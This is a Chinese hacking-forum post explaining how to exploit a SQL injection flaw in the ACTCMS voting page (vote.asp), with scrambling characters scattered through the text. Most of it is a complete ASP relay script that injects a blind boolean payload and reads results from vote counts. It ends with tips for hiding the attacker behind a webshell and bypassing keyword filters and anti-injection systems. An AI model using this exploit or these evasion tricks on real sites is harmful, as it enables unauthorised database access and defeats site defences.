找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2057|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

( Q+ I3 ]7 V6 J' F+ |看到ninty大牛的blog的一篇文章
/ ?1 `7 B+ r* A  }* [7 [/ g( K0 `链接标记[url]http://www.forjj.com/?action=show&id=80[/url], E- E  ?- f! i: ?+ B
关于actcms漏洞的利用  by 3x qq:381862589
; g; S  E/ s6 w/ W6 Z0 @转载请注明以上( |3 a* {2 K- e; Y/ ~8 w
漏洞文件:8 Z5 T6 {2 v. a$ j5 G! N8 [
/plus/vote/vote.asp4 u" e5 o8 F: N' n
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then      M! s5 m, H. e( |
/ c0 D5 O2 b6 Z/ i: A# z6 ~8 Y
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   5 K* M8 k  {& ^3 A$ ]; q, b
% R4 w: O9 t! H8 s9 G, ?
3    response.end    : H2 e" U- S7 g5 o
. N! D7 w1 l; J4 V( n
4    end if    " z) N% ]0 W, W  Z/ M

& ]3 O$ F( f/ G, P5 S( Z/ h5    for i=1 to request("voted").count   
  x7 {7 `" F& T2 W7 Y% v" p7 p! h. x3 B6 U
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
5 f1 n* q9 G% Z! q2 K: I
- Z% |' c  U8 C% G3 C4 n) u% P) U4 L7    next    - o% f# H/ M4 \* F$ `
+ D/ c: Z* j" V$ x0 i
8....    1 c) ~1 n1 j) g' Q" e& E
& y+ X5 C! C! L
9response.Redirect "index.asp?id="&id&""   . v4 Y, F( o: H3 a! \" s% _5 e
投票结束回跳转回index.asp这个投票结果页面
* a% l/ h) d  r! M如果投票成功票数加1* Y: o( L- g6 w
            失败票数不变
0 Z  g9 G7 d2 V0 G如图:
  I1 Q  n& s( L! w$ W4 Fhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
" P! }4 t6 ^5 w" o% M" K. F+ O4 t% j  X5 @- R; a  L* r/ f
2009-12-27 13:209 t  Z! E. M" U3 P

9 B. e5 b+ k' V+ c4 W& L- }利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% S# @& {5 W6 o# u( f& F
& d' h; o$ ?6 T4 `% _
本帖隐藏的内容需要回复才可以浏览) D' b  e- L8 H- f8 J$ s# S6 P
我们用注入中转来实现这个注入具体代码如下:
3 A* \2 _& R  G4 t先用寂寞的刺猬大牛的注入中转生成jmget.asp
- O/ x, q+ L7 Z' Y, `6 G9 e7 [& a$ [注入地址:http://localhost/actcms/plus/vote/vote.asp1 M/ W# \+ S6 K
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
: R4 F$ l3 r9 |! X: C7 H7 h/ r' e9 W! E9 ?' Z1 S
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ' ~8 S. y  Y+ @- w
/ M" l8 T5 V( p7 x4 R% D
02JmdcwName=request("jmdcw") 3 @# u5 L0 |1 S- E6 q+ L
$ g- b. \$ F& i& [- p$ j* Q- O
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 8 a0 i: [* G9 u) H( o/ R, L! Z3 S
$ b" y% H4 K6 y( D& S
04JmStr="id=1&voted=-1 or 1="&JmdcwName . X% U$ q1 u1 n& ~
* b+ {* S3 u  t! T7 B% @0 y0 {
05JmStr=URLEncoding(JmStr) * Q' E& V: ~( p7 B- m! T& F  k- C- u

3 B1 q& I- W2 s" G' d06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp". Y" r( t+ e: [9 w: J

9 s. Z- _, D. m0 @6 W07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- S2 ^$ [/ ^% f/ F
5 Z* Y  d- d# I
08testurl=testurl & "?" & JmStr
/ r; S) N" x6 K& i5 U7 K; L
- ]9 M, s7 I# u09JMUrl=JMUrl & "?" & JmStr 5 T$ T6 c& t0 S( {! h+ ]0 ?* z

) J9 r8 Y8 I1 A9 \6 d10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
! t6 R3 Z/ U3 E& P
- Y( A1 Q* e* a; Q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
$ n5 ^0 U' {) S9 E  ?
  ^  e* T$ o% l& T: K# g12JmCok=replace(JmCok,chr(32),"%20")  0 A5 q3 G  I. X+ s! _5 [

6 R/ M2 o) B3 }/ [13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
: t0 T0 H/ j  w
" D! p7 F# k4 L5 }. y" B! R14  
4 X1 c# v" U9 M9 R' W" A& s1 W% N* |9 T( b
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ G! T$ K* ^, e$ Z( _
) X7 c+ X, r3 |  T! K16  . I2 u/ t+ q& z2 p% o

1 g$ h0 Z, p3 `1 k1 f17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 + a: b) n0 V- Q
5 t9 I& V/ L% Q. u/ Z* v
18response.write test1&""&test2&""
/ i: N- X( N( j! L% F3 n# M
3 _8 z  e+ A2 N0 i; S; o. q& o! a: _19  . b. O  S+ i2 m( T7 x

, o' _6 ?" X9 a2 V20if test1=test2 then '如前后记录相等,表示失败 ; X# N0 T( `% s/ F$ {: O8 W
5 \7 S& `) {: t9 Y
21  response.write "failed"( I' }4 z- {+ R3 g5 p# X; K
% Z( N4 c$ L6 g7 q6 b/ ]
22else
9 m9 S: ^, `% T- |- p8 {/ P1 Q% v
23  response.write "succeed"- G$ ]& `1 k# }( Z
# K( R7 a( m! Y
24end if    ]  z/ b9 [4 @$ u" e

; }  E) k# @3 o& `25  
4 b5 w2 h! o" w7 L* i
" k  x5 P6 ^: r& o6 p* f26response.write "by 3x"+ i6 \: b( }# x
! H  U5 \# v6 P# ?
27  3 v" n- o0 B; S! q& S- r0 R  b, f
- a% P3 D; W$ y+ M2 k2 A9 O
28  2 {0 N5 d& V2 f! _3 V+ v
$ j$ ?$ L1 [# T( X0 A5 N2 s/ `$ w! ]
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ; l: R. k4 d5 r& s7 W/ D; _

5 Y$ R; _/ g9 X2 Z. `# b  z7 w+ P30Dim Http
# z$ U+ I% g' `+ u5 @9 y2 q' J& \( h1 R& X  t: j/ m  Q- }2 U+ R5 K. `
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
. q4 `0 _( J! z/ R% C* D" k& U' e; C% F' W1 A$ ~! G" j; |- e
32With Http
1 @4 d( O! [: y. `" z% [; }3 y$ w& S2 i4 P; p
33  4 N& q2 j# w% |" K3 L/ m. }
" a7 @7 B8 s* N' G3 \
34.Open "GET",PostUrl,False
5 B1 C5 I( Z0 Y4 ^0 c& [0 b5 {' M6 _7 u2 n
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"" F- N9 F8 M4 K2 o

' j0 s+ a7 b4 M4 u, k- O) i36.SetRequestHeader "Referer",PostRef ) P8 n* l# H! B7 l0 N
) ?7 p- k5 p1 O4 ]9 x! g+ l$ Y
37.SetRequestHeader "Cookie",PostCok 0 _" W7 d9 }5 o4 l5 ]& e
3 {) I! R3 r9 u1 m: e9 N/ @$ W9 S
38.Send ()
1 X* L: {( q0 V- @' ~2 q
) e- P; B: ?+ c' N3 J% ?5 i* H0 Z2 G/ [39PostData = .ResponseBody 7 J/ `+ `- \3 \  P! ~" u

% K( o5 J# L' Z6 O3 A2 _40End With' z9 d. ~% A( H; j" c
* [1 ?' i2 B1 p
41Set Http = Nothing
/ o" K; X; _& x) B' h7 S3 d1 e! S8 F* g, t- n2 V% `
42PostData =bytes2BSTR(PostData) / I) u( y( B) C, c' p0 v' ^  i  L& g# k
- K( l# ~# I4 w% ]0 c1 m% y0 y
43End Function$ o  B$ T; [8 X1 q5 g

. x  l+ Z- s( x7 F6 N44  % ?  g  Y$ y' ^$ @! G

" M' t/ R/ v9 z3 x# l45  
% P/ A: W/ o7 l0 B( W+ ~: n; y2 F
" y0 l; M$ C( ?. K" H$ z! j$ e9 b46Function bytes2BSTR(vIn) ! l) C, G* a+ b9 X. P/ E/ V
, d; d2 K. ]- h/ ]. d7 i7 Z
47Dim strReturn " {! g8 x; {- R# {! I

8 [1 \1 g! J3 ~" R" d1 n' O1 y48Dim I, ThisCharCode, NextCharCode " S9 `7 ^% c; B; _- U
4 O6 D! r$ ~& [. ~1 z! O
49strReturn = ""7 s: }- ^6 _5 o. [
5 m4 }1 y" l2 `3 e( x
50For I = 1 To LenB(vIn)
0 F2 T* P4 F) S2 \6 S* U) i1 V$ {3 r0 r
51ThisCharCode = AscB(MidB(vIn, I, 1)) ' B4 c: j; O9 S  m% J

: H/ s' V, F& G) d  m1 @8 \) B52If ThisCharCode < &H80 Then
. h" M! _7 {; P
% D$ b! l! c/ L4 N4 [5 C5 k8 v53strReturn = strReturn & Chr(ThisCharCode) ) K! b$ }$ h3 D6 r% M9 [
5 j3 _8 p  h! Z2 _5 b) @7 \2 e
54Else
9 M1 i% Y8 ]) J# S* u! I
* W7 N% g! L* b) n6 }1 t! i. v, `55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. |& y  v* A4 u4 \
6 b4 E! W9 ^7 r- [( z56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) & M8 ~/ \& R6 y0 n" O/ s

* F, p1 K, e5 r) }7 o- t* a# e  X7 M57I = I + 1 + S% t5 h& W/ r8 e" ~. ?  q
% G2 h4 G& e& M; E
58End If3 g; K+ h/ ?$ [$ Q6 e
* _2 \  u. q3 e" t! G, t
59Next9 P6 l5 K+ {6 X2 [7 ]
: Z7 Z8 X+ u$ E' F* |
60bytes2BSTR = strReturn " }0 _% @( [+ B: B5 q
. `" t' [0 p3 K2 b* G; _0 c7 X
61End Function& y6 G/ c. X. D! O8 U. N

0 b. b8 ^3 G+ u" D62  
1 H  n2 r/ C: l
' S& J+ e6 C5 H63Function URLEncoding(vstrin)  
6 f$ ]6 f8 ^' k
' _6 |: j# N0 l2 q5 k" e9 t4 ?4 M64strReturn=""
/ c) Q  K5 N! x$ V3 i/ A* j8 I* d! [2 M- s2 u4 y  G; f- E
65Dim i
4 J3 {9 r: H9 c1 x0 S
& Q* o( M) m0 Y+ q1 }. \66For i=1 To Len(vstrin)
; M. E1 }  J/ t, I- f$ ^' s: a6 F" Z5 w/ N' e* {1 I2 T
67ThisChr=Mid(vstrin,i,1)
+ t. H: }, H6 p* Y9 \+ [$ O# `8 i( I& x, p1 l0 }8 D
68if Abs(Asc(ThisChr))< &HFF Then9 c$ Q) x0 f  }; ~1 K# o
% R: \! M4 h: W, h. Y
69strReturn=strReturn & ThisChr
( r/ c5 b2 Y! [( U% `
5 m4 e1 t+ C5 i$ J* T  z- b8 B70Else9 L" |) e2 e$ Z- o+ Z1 C4 p
) R7 u8 q5 w- N- \+ ?; ~: p
71InnerCode=Asc(ThisChr)
, c4 B% t2 G' m" ^" C! n: d1 g7 T+ k6 r  o
72If InnerCode<0 Then5 Z5 N6 \+ _: P5 V  Q
& T% w! \  G) I& ^# i& O7 u
73InnerCode=InnerCode + &H10000 3 @& D! e( P/ I$ M& E

1 ?9 Z. ^! n+ x+ t* X/ ?1 k& `* t74End If
% d& M8 }! f) n/ y) q/ n8 ?1 {4 M0 F6 Q" n* U" O0 G% M
75Hight1=(InnerCode And &HFF00) \&HFF , }  a: }- n4 U4 a, ]( I

- j) b8 r' [; l7 E# F3 {" j/ k  D0 P  @$ x/ O76Low1=InnerCode And &HFF $ r5 _$ B7 u# [9 @7 F
, ?! `8 S! Z5 ^4 U0 p) _
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
/ ?4 f- g4 X" F+ a4 B% i- ]
% u7 o" [0 x6 `78End if
  K2 _# C  |9 M# Z& A$ M  Q$ {& \0 ~8 k& z
79Next+ \) ?' _4 ~& c/ R# T
) a& a4 I( w. [: h+ v
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
2 y2 S1 _; `9 x/ s. v
- r: K* b6 P% E- @81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ! B1 f( ~" n/ d8 C3 I( y7 ~

2 W& }% v7 Q) X, ]. a5 o. G; L/ L82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
/ K1 N) J  ~. p8 J* G' v# a# i, q& [  \  ]" C) u
83URLEncoding=strReturn 2 m$ |/ D! {( M+ h# D. V
6 |# u2 L( c. B7 Q7 u
84End Function
5 S6 y* E" _: U5 I8 h0 V7 |
% \- p+ B; K, `! N) o85  ; g& s7 X* z: D# `( S' r
+ W) g( D% g1 K( V8 q- B
86function getSt(body)
) ]/ \/ k5 i0 _: d5 ^5 ?9 q2 z( y# g. J! C
87  startpot=instr(body,"投票人数:")+len("投票人数:") 4 @7 [! Q& M# C% z8 ~$ `
2 A, d5 l$ [- _. k) p
88  endpot=instr(startpot,body," ") ( `5 j+ t4 P/ T; B& ^
% @$ Z0 C3 M1 {6 ~7 R9 S# S) i
89  getSt=mid(body,startpot,endpot-startpot)
- m' i2 W8 c& ~- f4 S* u" I2 `1 ^4 }2 a( X  @& e( \. @/ P
90end function 4 }5 L8 N- w; \4 @5 X& E
6 w2 h- Y7 I' I% W
91%>
- n" ~4 M& y3 t. Y( }注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
: E- w5 C3 w8 f* s测试下效果:3 K3 M$ \8 L' C0 b$ Q) }3 M: J
投票成功:
  Z8 k0 U! P0 }! V7 o% Vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)" o; R2 }2 t) |2 W1 o
3 Y; R+ R& w  `, O
2009-12-27 13:29
, X. X' b; w1 o投票失败
! y5 p4 m7 A6 \3 ?$ V- U6 Xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)1 M  V( R* U; @, m+ C8 H

( r- d1 ]1 B2 {8 i5 K! B2009-12-27 13:29
; u( U2 F5 f8 c  ?-------------------------------------------------------------------------------2 G7 G0 Q6 k4 o' x0 ]& E) }
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以7 J+ Q: a, A4 d( h, y
很抱歉。。。只能用单线程工具去注入。。。。。6 I, W9 s) ~1 g1 u3 Q0 O
所以失败。。。不好意思。。。" o# ?8 J1 e" |
-------------------------------------------------------------------------------! O9 l. ~+ S- F8 S, ^1 A

! ~7 X$ Q5 ?) q( E0 U注入中转的一些其他应用9 r9 B! o* q/ ~% r3 G- ^5 A6 v
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
7 d( a: a$ U( k$ o, J4 Y1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
* y" u5 A! r6 ^" q! K  G* i2.post注入转成get型的注入,方便我们使用工具来跑
& L2 B$ `4 L% L7 B3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
/ @0 P% T5 ~1 e' ]4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过: }1 U8 F4 h3 P& ~  ?
, q7 e  f1 Q6 P/ m6 m4 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表